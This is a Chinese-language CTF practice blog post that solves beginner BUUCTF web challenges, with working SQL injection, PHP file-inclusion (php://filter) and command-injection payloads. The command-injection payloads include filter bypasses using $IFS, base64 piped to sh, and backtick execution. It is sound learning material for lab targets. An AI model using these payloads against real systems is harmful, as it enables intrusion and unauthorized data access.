【BUUCTF】刷题记录——(WEB篇)

新手小白,开启CTF刷题之路(持续更新)

此处主要在BUUCTF平台(BUUCTF在线评测)上开展刷题

[极客大挑战 2019]EasySQL

靶机环境就一个用户名、密码输入框,尝试输入1&1之后,发现地址栏有变化

http://b59eea79-22c4-4800-a692-7455dbad886c.node4.buuoj.cn:81/check.php?username=1&password=1

直接输入用户名admin,密码-1‘ or 1=1#试试,flag弹出

[极客大挑战 2019]Havefun

靶机页面打开就一只猫,没找到输入框之类的,随手打开源码看看,在最底下发现一串代码:

<!--
   $cat=$_GET['cat'];
    echo $cat;
     if($cat=='dog'){
        echo 'Syc{cat_cat_cat_cat}';
 }
-->

看样子是要传入参数cat,而且cat的值要是dog,且试试,构造payload

http://e1658b2b-ff2f-4d53-b1f5-fe88e66785ad.node4.buuoj.cn:81/?cat=dog

flag get

[HCTF 2018]WarmUp

靶机初始页面是一个大号的滑稽笑表情,额……查看源码,里面提示一个source.php,打开之后出现代码如下:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

里面还提示了一个hint.php,打开看看

尝试构造一个payload:

http://02e9a38c-0040-4e0b-928f-b1c2aa6e8e7f.node4.buuoj.cn:81/?file=filter://file=convert.base64.encode/read=ffffllllaaaagggg

返回

脑壳疼……打开source.php分析吧分析吧T T……

[ACTF2020 新生赛]Include

开局一个tips链接,点开看看

地址栏变为http://ad9bda72-daf1-41db-b934-282da9f0264a.node4.buuoj.cn:81/?file=flag.php

网页提示Can you find out the flag?

哦豁?查看网页源代码和F12,啥都莫得。这下有点挠头,再看了眼题目include……

感觉上是有个文件包含漏洞在里面,那么试试伪协议,构造一个payload:

http://ad9bda72-daf1-41db-b934-282da9f0264a.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

果然出来一串字符串,base64解密之后获得flag

flag{33b9b7d1-d771-4421-be7a-92abb34f05b2}

[ACTF2020 新生赛]Exec

靶机原始页面给了个ping输入框,结合题目exec,应该是个命令执行漏洞了

先来个127.0.0.1 | ls,回显index.php,有戏,那么就利用;构造命令行,一直到127.0.0.1 | cd ..;cd ..;cd ..;cd ..;cd ..;ls时出现了flag文件

再来一次127.0.0.1 | cd ..;cd ..;cd ..;cd ..;cat flag,获得flag

flag{57dea8d9-0ca7-404d-afad-774b3240fd79}

[GXYCTF2019]Ping Ping Ping

开局就给个/?ip=

???

尝试payload:/?ip=1,回显PING 1 (0.0.0.1): 56 data bytes。看起来又是命令执行漏洞了?

尝试payload:1|ls,回显

有戏,直接cat一下看看,payload:/?ip=1|cat flag.php,回显/?ip= fxck your space!

好家伙,真够文明的啊→_→,看来是过滤空格了,那么用$IFS代替空格试试,payload:/?ip=1|cat$IFSflag.php,回显/?ip= fxck your flag!

好家伙,flag也不行,看来要拼接字符串,payload:/?ip=1|x=g;cat$IFSfla$x.php,无回显。

脑壳疼……看下index.php吧

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

看起来过滤了一大堆符号、空格、bash,好像还把任何包含flag四个字符的payload也都过滤了。

好吧,姿势不够,问大佬吧

然后发现payload:/?ip=1;x=g;cat$IFS$9fla$x.php可用,flag在网页源码里头。

另外大佬们还研究出两种方法:

一、使用 base64 编码的方式来绕过 flag 过滤。

加密:echo “cat flag.php” | base64

解密:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

尝试输入:

/?ip=210.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

二、使用内联执行(参见RCE(远程命令执行)绕过总结_rce空格绕过_Elitewa的博客-CSDN博客)的方法:将反引号内命令的输出作为输入执行,查看源码后也能得到flag

payload:/?ip=127.0.0.1;cat$IFS$1`ls`

flag为:flag{0526e947-a9ea-41ad-b202-29106ec17f3b}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值